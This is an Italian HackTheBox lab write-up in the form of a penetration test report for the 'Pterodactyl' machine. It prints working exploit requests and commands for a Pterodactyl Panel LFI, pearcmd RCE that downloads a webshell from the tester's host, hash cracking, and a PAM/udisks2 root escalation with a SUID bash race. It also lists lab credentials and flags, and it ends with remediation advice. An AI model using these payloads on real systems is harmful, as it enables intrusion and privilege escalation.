
HackTheBox — Pterodactyl (Medium/Linux) guida. CVE-2025-49132 LFI → pearcmd RCE → cracking di bcrypt → SSH. Privilege escalation tramite CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Note complete e passaggi inclusi.
Data: 8 Aprile 2026
Target: Pterodactyl (HackTheBox)
Difficoltà: Media
SO: Linux (openSUSE Leap 15.6)
Tester: V0idW1re
La macchina Pterodactyl su HackTheBox ha presentato uno scenario di attacco realistico che coinvolge un'applicazione web malconfigurata e vulnerabilità di escalation dei privilegi concatenate. Partendo da una posizione non autenticata, il tester ha raggiunto la compromissione completa di root attraverso una sequenza logica di passaggi di sfruttamento. La catena di attacco ha incluso una vulnerabilità di Local File Inclusion non autenticata, l'abuso creativo di un package manager PHP per l'esecuzione remota di codice, l'estrazione e il cracking delle credenziali, e infine il concatenamento di due CVE divulgate pubblicamente per escalare da un utente con privilegi bassi a root.
| Campo | Valore |
|---|---|
| IP Target | 10.129.25.223 |
| Hostname | pterodactyl.htb |
| SO | openSUSE Leap 15.6 |
| Servizi | SSH (22), HTTP (80) |
| Sottodomini | panel.pterodactyl.htb |
La valutazione ha seguito una metodologia standard di penetration testing:
Gravità: Critica
Componente: Pterodactyl Panel v1.11.10 — endpoint /locales/locale.json
Descrizione:
L'endpoint delle localizzazioni del Pterodactyl Panel non riusciva a sanitizzare i parametri della query locale e namespace, consentendo il directory traversal. Poiché l'applicazione aggiungeva .php al valore di namespace e lo caricava tramite il meccanismo di include di PHP, un attaccante poteva forzare il server a caricare ed eseguire file PHP arbitrari nel filesystem.
Exploit:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Impatto:
Le credenziali del database sono state estratte da config/database.php:
pterodactylPteraPanelpanelLa chiave dell'applicazione Laravel è stata anch'essa estratta da config/app.php.
Evidenza:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Gravità: Critica
Componente: Installazione PHP PEAR + LFI
Descrizione:
Stabilita la primitiva LFI, il tester ha sfruttato lo script pearcmd.php del package manager PEAR. Quando la configurazione PHP ha register_argc_argv=On (confermato tramite phpinfo), la stringa di query viene interpretata come argomenti da riga di comando da pearcmd. Il comando download è stato utilizzato per recuperare una webshell PHP dal server dell'attaccante e salvarla nella directory web pubblica del pannello.
Exploit:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Impatto:
Una webshell PHP è stata scritta in /var/www/pterodactyl/public/shell.php, fornendo esecuzione remota di codice non autenticata come utente wwwrun.
Evidenza:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Gravità: Alta
Componente: Database MySQL panel
Descrizione:
Utilizzando la shell RCE, il tester si è connesso al database MySQL usando le credenziali ottenute tramite LFI. La tabella users conteneva password bcrypt-hashed per tutti gli utenti del pannello. L'hash per l'utente phileasfogg3 è stato crackato offline utilizzando una wordlist comune.
Exploit:
SELECT username, password FROM users;
Credenziale Crackata:
phileasfogg3!QAZ2wsxImpatto:
L'accesso SSH è stato ottenuto come phileasfogg3 e la flag utente è stata catturata:
user.txt: 916235b4261e70fdb090402c641a7808
Gravità: Alta
Componente: Configurazione PAM — pam_env.so con user_readenv=1
Descrizione:
La configurazione PAM su openSUSE Leap 15.6 carica il file ~/.pam_environment dell'utente tramite pam_env.so con user_readenv=1. Impostando specifiche variabili d'ambiente in questo file, un utente SSH non privilegiato può ingannare systemd-logind e Polkit facendo credere che la sessione sia una sessione fisica attiva della console, ottenendo così i privilegi allow_active.
Exploit:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
Dopo essersi riconnesso tramite SSH, la sessione è stata riconosciuta come Active=yes, abilitando chiamate non privilegiate ai metodi D-Bus di udisks2 che normalmente richiedono la presenza fisica sulla console.
Evidenza:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Nessun prompt di autenticazione
Gravità: Critica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Descrizione:
Quando udisks2 ridimensiona un filesystem XFS tramite libblockdev, monta temporaneamente l'immagine del filesystem in una directory accessibile a tutti sotto /tmp/blockdev.* senza i flag di mount nosuid e nodev. Questo crea una breve finestra di condizione di gara durante la quale qualsiasi binario SUID presente nell'immagine può essere eseguito con EUID elevato.
Un attaccante con privilegi Polkit allow_active (ottenuti tramite CVE-2025-6018) può:
udisksctl loop-setupNota Critica sulla Compatibilità dell'Immagine XFS:
L'immagine XFS deve essere creata con flag specifici per openSUSE Leap 15.6 (SP5/SP6):
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Exploit:
# Costruisce l'immagine XFS malevola (sulla macchina dell'attaccante)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# Sul target — gara per la finestra di ridimensionamento
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Evidenza:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Flag di Root:
root.txt: d3a242011c18cb81f08ad80337330641
| Flag | Valore |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Non Autenticato]
↓ CVE-2025-49132 (LFI)
[Credenziali Database]
↓ pearcmd RCE
[Shell wwwrun]
↓ Dump credenziali MySQL + cracking hash
[SSH phileasfogg3]
↓ CVE-2025-6018 (Bypass PAM → allow_active)
↓ CVE-2025-6019 (Condizione di gara ridimensionamento XFS udisks2)
[root]
Compromissione completa del sistema target. Un attaccante con questo livello di accesso potrebbe:
Questo report è stato prodotto a scopo educativo come parte di un esercizio di laboratorio HackTheBox. Tutti i test sono stati eseguiti in un ambiente di laboratorio legale e isolato.
| Risultato | Rimedio |
|---|
| CVE-2025-49132 (LFI) | Aggiornare Pterodactyl Panel alla v1.11.11 o successiva, che applica una validazione alfanumerica rigorosa sui parametri locale/namespace |
| pearcmd RCE | Impostare register_argc_argv=Off in php.ini; rimuovere PEAR se non necessario |
| Password debole | Applicare policy password forti; utilizzare un gestore di password |
| CVE-2025-6018 (PAM) | Impostare user_readenv=0 nella configurazione PAM per pam_env.so |
| CVE-2025-6019 (udisks2) | Aggiornare udisks2 e libblockdev alle versioni corrette; modificare la regola Polkit per org.freedesktop.udisks2.modify-device cambiando allow_active da yes a auth_admin |